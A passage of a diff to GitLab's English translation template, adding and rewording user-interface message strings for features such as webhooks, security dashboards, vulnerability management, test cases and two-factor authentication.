+msgstr ""
+
+msgid "Runners|Platform"
+msgstr ""
+
+msgid "Runners|Property Name"
+msgstr ""
+
+msgid "Runners|Protected"
+msgstr ""
+
+msgid "Runners|Revision"
+msgstr ""
+
+msgid "Runners|Shared"
+msgstr ""
+
+msgid "Runners|Specific"
+msgstr ""
+
+msgid "Runners|Tags"
+msgstr ""
+
+msgid "Runners|Value"
+msgstr ""
+
+msgid "Runners|Version"
+msgstr ""
+
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
@@ -21193,6 +21956,9 @@ msgstr ""
msgid "Save"
msgstr ""
+msgid "Save %{name} size limits"
+msgstr ""
+
msgid "Save Changes"
msgstr ""
@@ -21223,10 +21989,10 @@ msgstr ""
msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
msgstr ""
-msgid "Save template"
+msgid "Save variables"
msgstr ""
-msgid "Save variables"
+msgid "Saved scan settings and target site settings which are reusable."
msgstr ""
msgid "Saving"
@@ -21277,6 +22043,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21394,6 +22163,9 @@ msgstr ""
msgid "Search results…"
msgstr ""
+msgid "Search test cases"
+msgstr ""
+
msgid "Search users"
msgstr ""
@@ -21510,13 +22282,10 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
-msgid "Seats currently in use"
-msgstr ""
-
-msgid "Seats in license"
+msgid "Secondary"
msgstr ""
-msgid "Secondary"
+msgid "Seconds"
msgstr ""
msgid "Secret"
@@ -21561,6 +22330,9 @@ msgstr ""
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -21612,6 +22384,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|View history"
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -21624,7 +22399,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21660,10 +22435,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21684,6 +22459,9 @@ msgstr ""
msgid "SecurityReports|Issue Created"
msgstr ""
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
+msgstr ""
+
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
@@ -21693,6 +22471,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21711,13 +22492,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21789,7 +22570,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21831,9 +22612,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21969,7 +22747,7 @@ msgstr ""
msgid "Select status"
msgstr ""
-msgid "Select strategy activation method"
+msgid "Select strategy activation method."
msgstr ""
msgid "Select subscription"
@@ -21984,12 +22762,18 @@ msgstr ""
msgid "Select the custom project template source group."
msgstr ""
+msgid "Select the environment scope for this feature flag."
+msgstr ""
+
msgid "Select timeframe"
msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22179,6 +22963,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22224,6 +23014,9 @@ msgstr ""
msgid "Set iteration"
msgstr ""
+msgid "Set limit to 0 to allow any file size."
+msgstr ""
+
msgid "Set max session time for web terminal."
msgstr ""
@@ -22305,7 +23098,7 @@ msgstr ""
msgid "Set up assertions/attributes/claims (email, first_name, last_name) and NameID according to %{docsLinkStart}the documentation %{icon}%{docsLinkEnd}"
msgstr ""
-msgid "Set up new U2F device"
+msgid "Set up new device"
msgstr ""
msgid "Set up new password"
@@ -22374,6 +23167,9 @@ msgstr ""
msgid "Sets weight to %{weight}."
msgstr ""
+msgid "Setting this to 0 means using the system default timeout value."
+msgstr ""
+
msgid "Settings"
msgstr ""
@@ -22389,6 +23185,15 @@ msgstr ""
msgid "Severity"
msgstr ""
+msgid "SeverityWidget|Severity"
+msgstr ""
+
+msgid "SeverityWidget|Severity: %{severity}"
+msgstr ""
+
+msgid "SeverityWidget|There was an error while updating severity."
+msgstr ""
+
msgid "Shards (%{shards})"
msgstr ""
@@ -22434,6 +23239,9 @@ msgstr ""
msgid "Show all requirements."
msgstr ""
+msgid "Show all test cases."
+msgstr ""
+
msgid "Show archived projects"
msgstr ""
@@ -22513,12 +23321,6 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
-msgstr ""
-
-msgid "Showing Version #%{versionNumber}"
-msgstr ""
-
msgid "Showing all issues"
msgstr ""
@@ -22540,9 +23342,6 @@ msgstr ""
msgid "Sidebar|Assign health status"
msgstr ""
-msgid "Sidebar|Change weight"
-msgstr ""
-
msgid "Sidebar|Health status"
msgstr ""
@@ -22726,6 +23525,9 @@ msgstr ""
msgid "Snippets|Add another file %{num}/%{total}"
msgstr ""
+msgid "Snippets|Authored %{time_ago} by %{author}"
+msgstr ""
+
msgid "Snippets|Delete file"
msgstr ""
@@ -22753,6 +23555,9 @@ msgstr ""
msgid "Solution"
msgstr ""
+msgid "Some changes are not shown"
+msgstr ""
+
msgid "Some child epics may be hidden due to applied filters"
msgstr ""
@@ -22819,6 +23624,9 @@ msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr ""
+msgid "Something went wrong while creating a test case."
+msgstr ""
+
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
@@ -22843,6 +23651,9 @@ msgstr ""
msgid "Something went wrong while fetching comments. Please try again."
msgstr ""
+msgid "Something went wrong while fetching count of test cases."
+msgstr ""
+
msgid "Something went wrong while fetching description changes. Please try again."
msgstr ""
@@ -22867,6 +23678,9 @@ msgstr ""
msgid "Something went wrong while fetching requirements list."
msgstr ""
+msgid "Something went wrong while fetching test cases list."
+msgstr ""
+
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
@@ -23119,6 +23933,12 @@ msgstr ""
msgid "Source (branch or tag)"
msgstr ""
+msgid "Source Branch"
+msgstr ""
+
+msgid "Source branch: %{source_branch_open}%{source_branch}%{source_branch_close}"
+msgstr ""
+
msgid "Source code"
msgstr ""
@@ -23530,15 +24350,15 @@ msgstr ""
msgid "Submit %{humanized_resource_name}"
msgstr ""
-msgid "Submit Changes"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
msgid "Submit as spam"
msgstr ""
+msgid "Submit changes"
+msgstr ""
+
msgid "Submit feedback"
msgstr ""
@@ -23551,6 +24371,9 @@ msgstr ""
msgid "Submit search"
msgstr ""
+msgid "Submit test case"
+msgstr ""
+
msgid "Submit the current review."
msgstr ""
@@ -23692,6 +24515,9 @@ msgstr ""
msgid "Successfully deleted U2F device."
msgstr ""
+msgid "Successfully deleted WebAuthn device."
+msgstr ""
+
msgid "Successfully removed email."
msgstr ""
@@ -23893,6 +24719,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24007,9 +24836,6 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
-msgid "Template was successfully saved."
-msgstr ""
-
msgid "Templates"
msgstr ""
@@ -24074,6 +24900,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24082,10 +24914,7 @@ msgid_plural "Test coverage: %d hits"
msgstr[0] ""
msgstr[1] ""
-msgid "Test failed."
-msgstr ""
-
-msgid "Test settings and save changes"
+msgid "Test settings"
msgstr ""
msgid "TestHooks|Ensure one of your projects has merge requests."
@@ -24178,15 +25007,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24213,6 +25039,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24323,6 +25152,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following warning:"
+msgstr ""
+
msgid "The global settings require you to enable Two-Factor Authentication for your account."
msgstr ""
@@ -24413,7 +25245,7 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24437,9 +25269,6 @@ msgstr ""
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
-msgid "The production stage shows the total time it takes between creating an issue and deploying the code to production. The data will be automatically added once you have completed the full idea to production cycle."
-msgstr ""
-
msgid "The project can be accessed by any logged in user."
msgstr ""
@@ -24452,6 +25281,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24473,7 +25305,7 @@ msgstr ""
msgid "The remote repository is being updated..."
msgstr ""
-msgid "The repository can be commited to, and issues, comments and other entities can be created."
+msgid "The repository can be committed to, and issues, comments and other entities can be created."
msgstr ""
msgid "The repository for this project does not exist."
@@ -24527,9 +25359,6 @@ msgstr ""
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
-msgid "The total stage shows the time it takes between creating an issue and deploying the code to production. The data will be automatically added once you have completed the full idea to production cycle."
-msgstr ""
-
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
@@ -24593,6 +25422,9 @@ msgstr ""
msgid "There are no archived requirements"
msgstr ""
+msgid "There are no archived test cases"
+msgstr ""
+
msgid "There are no changes"
msgstr ""
@@ -24632,6 +25464,9 @@ msgstr ""
msgid "There are no open requirements"
msgstr ""
+msgid "There are no open test cases"
+msgstr ""
+
msgid "There are no packages yet"
msgstr ""
@@ -24644,6 +25479,9 @@ msgstr ""
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
+msgid "There is already a To-Do for this design."
+msgstr ""
+
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -24662,6 +25500,9 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
+msgid "There was a problem fetching branches."
+msgstr ""
+
msgid "There was a problem fetching groups."
msgstr ""
@@ -24821,10 +25662,10 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching the chart data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching the table data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
@@ -24836,9 +25677,6 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
-msgstr ""
-
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -24893,7 +25731,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24923,9 +25761,6 @@ msgstr ""
msgid "This board's scope is reduced"
msgstr ""
-msgid "This branch has changed since you started editing. Would you like to create a new branch?"
-msgstr ""
-
msgid "This chart could not be displayed"
msgstr ""
@@ -25013,6 +25848,9 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file is collapsed."
+msgstr ""
+
msgid "This group"
msgstr ""
@@ -25052,15 +25890,9 @@ msgstr ""
msgid "This is a security log of important events involving your account."
msgstr ""
-msgid "This is the author's first Merge Request to this project."
-msgstr ""
-
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the maximum number of users that have existed at the same time since the license started. This is the minimum number of seats you will need to buy when you renew your license."
-msgstr ""
-
msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
@@ -25292,6 +26124,15 @@ msgstr ""
msgid "This user has no identities"
msgstr ""
+msgid "This user has previously committed to the %{name} project."
+msgstr ""
+
+msgid "This user is a %{access} of the %{name} project."
+msgstr ""
+
+msgid "This user is the author of this %{noteable}."
+msgstr ""
+
msgid "This user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
@@ -25674,9 +26515,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25761,9 +26599,18 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
+msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25845,6 +26692,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25857,6 +26707,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too much data"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -25971,6 +26824,9 @@ msgstr ""
msgid "Trending"
msgstr ""
+msgid "Trials|Create a new group to start your GitLab Gold trial."
+msgstr ""
+
msgid "Trials|Go back to GitLab"
msgstr ""
@@ -25980,6 +26836,15 @@ msgstr ""
msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start a Gold trial'"
msgstr ""
+msgid "Trials|You can apply your trial to a new group or an existing group."
+msgstr ""
+
+msgid "Trials|You can apply your trial to a new group or your personal account."
+msgstr ""
+
+msgid "Trials|You can apply your trial to a new group, an existing group, or your personal account."
+msgstr ""
+
msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
msgstr ""
@@ -25989,6 +26854,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26046,6 +26914,9 @@ msgstr ""
msgid "Try using a different search term to find the file you are looking for."
msgstr ""
+msgid "Trying to communicate with your device. Plug it in (if needed) and press the button on the device now."
+msgstr ""
+
msgid "Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now."
msgstr ""
@@ -26058,9 +26929,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26076,10 +26956,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26112,6 +27004,12 @@ msgstr ""
msgid "URL or request ID"
msgstr ""
+msgid "USER %{user} WILL BE REMOVED! Are you sure?"
+msgstr ""
+
+msgid "USER WILL BE BLOCKED! Are you sure?"
+msgstr ""
+
msgid "UTC"
msgstr ""
@@ -26220,6 +27118,9 @@ msgstr ""
msgid "Undo ignore"
msgstr ""
+msgid "Unexpected error"
+msgstr ""
+
msgid "Unfortunately, your email message to GitLab could not be processed."
msgstr ""
@@ -26253,6 +27154,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unless otherwise agreed to in writing with GitLab, by clicking \"Upload License\" you agree that your use of GitLab Software is subject to the %{eula_link_start}Terms of Service%{eula_link_end}."
+msgstr ""
+
msgid "Unlimited"
msgstr ""
@@ -26451,7 +27355,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26526,7 +27430,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26616,9 +27520,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26670,9 +27571,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26907,9 +27805,6 @@ msgstr ""
msgid "Users or groups set as approvers in the project's or merge request's settings."
msgstr ""
-msgid "Users outside of license"
-msgstr ""
-
msgid "Users over License:"
msgstr ""
@@ -26922,7 +27817,7 @@ msgstr ""
msgid "Users were successfully added."
msgstr ""
-msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
msgstr ""
msgid "UsersSelect|%{name} + %{length} more"
@@ -26964,9 +27859,6 @@ msgstr ""
msgid "Validations failed."
msgstr ""
-msgid "Validity"
-msgstr ""
-
msgid "Value"
msgstr ""
@@ -26985,6 +27877,9 @@ msgstr ""
msgid "Value Stream Name"
msgstr ""
+msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
+msgstr ""
+
msgid "ValueStreamAnalytics|%{days}d"
msgstr ""
@@ -26994,6 +27889,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -27238,6 +28136,9 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
+msgid "Visualization"
+msgstr ""
+
msgid "Vulnerabilities"
msgstr ""
@@ -27265,34 +28166,25 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement|A true-positive and will fix"
+msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
-msgid "VulnerabilityManagement|Change status"
+msgid "VulnerabilityManagement|%{statusStart}Detected%{statusEnd} %{timeago} in pipeline %{pipelineLink}"
msgstr ""
-msgid "VulnerabilityManagement|Confirm"
+msgid "VulnerabilityManagement|%{statusStart}Dismissed%{statusEnd} %{timeago} by %{user}"
msgstr ""
-msgid "VulnerabilityManagement|Confirmed %{timeago} by %{user}"
+msgid "VulnerabilityManagement|%{statusStart}Resolved%{statusEnd} %{timeago} by %{user}"
msgstr ""
-msgid "VulnerabilityManagement|Could not process %{issueReference}: %{errorMessage}."
-msgstr ""
-
-msgid "VulnerabilityManagement|Detected %{timeago} in pipeline %{pipelineLink}"
-msgstr ""
-
-msgid "VulnerabilityManagement|Dismiss"
-msgstr ""
-
-msgid "VulnerabilityManagement|Dismissed %{timeago} by %{user}"
+msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
-msgid "VulnerabilityManagement|Resolved"
+msgid "VulnerabilityManagement|Change status"
msgstr ""
-msgid "VulnerabilityManagement|Resolved %{timeago} by %{user}"
+msgid "VulnerabilityManagement|Could not process %{issueReference}: %{errorMessage}."
msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
@@ -27310,9 +28202,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27358,6 +28247,9 @@ msgstr ""
msgid "Vulnerability|Description"
msgstr ""
+msgid "Vulnerability|Detected"
+msgstr ""
+
msgid "Vulnerability|Evidence"
msgstr ""
@@ -27454,7 +28346,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27475,6 +28367,12 @@ msgstr ""
msgid "Web terminal"
msgstr ""
+msgid "WebAuthn Devices (%{length})"
+msgstr ""
+
+msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
@@ -27499,12 +28397,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
msgid "Webhooks|Deployment events"
msgstr ""
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
msgstr ""
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27526,21 +28502,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27786,6 +28762,9 @@ msgstr ""
msgid "With requirements, you can set criteria to check your products against."
msgstr ""
+msgid "With test cases, you can define conditions for your project to meet in determining quality"
+msgstr ""
+
msgid "Withdraw Access Request"
msgstr ""
@@ -27801,6 +28780,9 @@ msgstr ""
msgid "Workflow Help"
msgstr ""
+msgid "Would you like to create a new branch?"
+msgstr ""
+
msgid "Write"
msgstr ""
@@ -27879,7 +28861,7 @@ msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
+msgid "You are going to transfer %{project_full_name} to another namespace. Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
@@ -27897,6 +28879,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27936,9 +28921,6 @@ msgstr ""
msgid "You can always edit this later"
msgstr ""
-msgid "You can apply your Trial to your Personal account or create a New Group."
-msgstr ""
-
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
@@ -27966,6 +28948,9 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
